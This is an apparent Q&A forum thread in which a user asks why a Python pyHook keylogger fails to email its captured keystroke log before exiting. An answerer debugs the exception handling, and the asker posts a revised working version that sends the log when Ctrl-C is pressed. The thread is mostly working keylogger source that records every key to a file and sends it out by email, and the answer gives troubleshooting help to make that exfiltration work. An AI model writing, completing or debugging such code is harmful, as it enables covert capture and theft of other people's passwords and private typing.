-1

I have the code below and also code that sends email with the file so by importing it from library I wanted to execute it after the file is closed and before the program exits yet it does not happen I have tries searching everywhere and it seems that no one nailed it yet. Both of the codes (keloger and sent_email) work separately so by executing the sent_email from shell it sends the file but not from inside module.

Any help will be appreciated

import pythoncom
import pyHook
import sent_email


log = ""
logpath = "keyEvent.txt"

openfile = open(logpath, "w")
openfile.write("")

def OnKeyboardEvent(event):
    try:
        global log
        if event.Ascii == 27:
            log = "[ESC]"
        elif event.Ascii == 8:
            log = "[Backspace]"
        elif event.Ascii == 15:
            openfile.close()
            sent_email.main()
            exit()
        elif event.Ascii == 13:
            log = "\n"
        elif event.Ascii == 0:
            log = ""
        else:
            log = chr(event.Ascii)
        openfile.write(log)
    except:
        pass

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()

while True:
    pythoncom.PumpMessages()

yet if I move the sent_email.main() after openfile.write(log) it sends email and attachment but before the file is closed?

  • Might help if you included the code, but you could take a look at the [`atexit`](http://docs.python.org/2/library/atexit.html) module to register functions to be called when Python exits. – Aya May 17 '13 at 16:03
  • Hey sorry I was just on it. Yeah tried it but did not do much good. Yet if you have an idea more than happy to have a look. Ta anyway! – Adam Winczewski May 17 '13 at 16:05
  • So, maybe the programm exits before being able to send an email. Could you change the sent_email function to return a message to tell you if eveyrthing worked? Maybe try importing in another way. (from sent_email import *) – Dschoni May 17 '13 at 16:10

2 Answers2

0

By the looks of it, the code will never exit. This block...

try:
    global log
    if event.Ascii == 27:
        log = "[ESC]"
    elif event.Ascii == 8:
        log = "[Backspace]"
    elif event.Ascii == 15:
        openfile.close()
        sent_email.main()
        exit()
    elif event.Ascii == 13:
        log = "\n"
    elif event.Ascii == 0:
        log = ""
    else:
        log = chr(event.Ascii)
    openfile.write(log)
except:
    pass

...where you call exit() if event.Ascii == 15 won't work, because the way exit() works in Python is to raise a SystemExit exception, which will be caught by your bare except: clause, and be ignored.

You probably need to change except: to except Exception: so it will catch all exceptions except for SystemExit and KeyboardInterrupt - the latter being what Python generates when you press CTRL-C.

Other than that, I don't see anything wrong with that code block.


Update

The idea is for the code not to exit unless you close the command window.

Okay.

I just cannot understand why it does not send the email.

Well, the other problem with using a bare except: clause the way you do, is that it masks unexpected exceptions. I'd suggest temporarily changing the code...

except:
    pass

...to...

except:
    raise

...just to check the call to sent_email.main() isn't raising an exception.

If that's not the problem, are you sure the elif event.Ascii == 15: block is ever getting called - it's kind of a weird case (CTRL-O).

Maybe you should add some print statements in there to see what's happening - something like...

elif event.Ascii == 15:
    print "Got ASCII 15 - closing file"
    openfile.close()
    print "About to send email"
    sent_email.main()
    print "About to exit"
    exit()
Aya
  • 39,884
  • 6
  • 55
  • 55
  • Thanks Buddy, The idea is for the code not to exit unless you close the command window. So it records the keyboard input and stores it in file called log.txt and then executed .close() and all this is fine, yet I just cannot understand why it does not send the email. If I run the sent_email it attaches the file and sends it right away? – Adam Winczewski May 17 '13 at 16:31
  • Yes all got called out will update just wanted to check something – Adam Winczewski May 17 '13 at 16:52
  • OK so i noticed that It was due to the fact that I had Python v3 an v2 installed and for some reason it was reading python 2 for the keyloger. All sorted now thanks for the effort and help @Aya – Adam Winczewski May 17 '13 at 23:31
0

So that's how I make the code to work thanks Aya you triggered my memory

import pythoncom
import pyHook
import sent_email
from apscheduler.scheduler import Scheduler


log = ""
logpath = "log.txt"

openfile = open(logpath, "w")
openfile.write("")



def OnKeyboardEvent(event):
    try:
        global log
        if event.Ascii == 27:
            log = "[ESC]"
        elif event.Ascii == 8:
            log = "[Backspace]"
        elif event.Ascii == 3:
            print "Closing"
            openfile.close()
            sent_email.main()
            exit()

        elif event.Ascii == 13:
            log = "\n"
        elif event.Ascii == 0:
            log = ""
        else:
            log = chr(event.Ascii)
        openfile.write(log)

    except:
        pass
    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()


while True:
    pythoncom.PumpMessages()